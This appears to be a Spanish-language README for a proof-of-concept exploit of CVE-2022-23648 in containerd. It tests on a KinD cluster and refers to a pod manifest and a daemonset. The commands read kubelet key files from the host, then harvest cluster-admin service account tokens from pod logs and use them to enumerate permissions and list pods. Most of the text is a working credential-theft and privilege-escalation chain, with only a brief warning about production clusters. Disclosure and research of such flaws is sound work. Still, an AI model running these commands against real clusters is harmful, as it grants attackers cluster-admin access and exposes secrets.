
PoC para CVE-2022-23648
Esto es una prueba de concepto para el CVE-2022-23648 de @_fel1x. Información de la divulgación aquí, información del CVE aquí y un blog con más información e ideas de mitigación aquí. El Containerfile tiene la información necesaria, y puedes cambiar el destino del VOLUME para probar diferentes rutas.
La forma más fácil de demostrar que funciona es usar KinD, que tiene imágenes explotables.
A menos que el nodo tenga de alguna manera muchos datos en /var/lib/kubelet/pki, esta debería ser una prueba segura.
kind create cluster --image=kindest/node:v1.21.1kubectl create -f pod-manifest.yamlkubectl exec poctest -- ls /var/lib/kubelet/pki/Y si obtienes archivos, incluido kubelet.key, funcionó :)
NOTA: No intentes esto en un clúster de producción. Un Containerd vulnerable puede duplicar una gran cantidad de datos en este pod de ataque y agotar el espacio en disco. Además, esto imprimirá tokens SA de cluster-admin en los registros del pod, que probablemente se envíen a un destino de registro en texto plano
Esto ejecutará un daemonset que intenta enumerar todos los tokens de cuenta de servicio de Kubernetes en el nodo e imprimirlo en los registros del pod si se determina que es un token cluster-admin.
kubectl apply -f ds.yamlkubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -ASi se imprime yes, felicidades, tienes un token de cuenta de servicio cluster-admin de corta duración; ejecuta:
kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -d para ver qué SA es
kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -A
kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list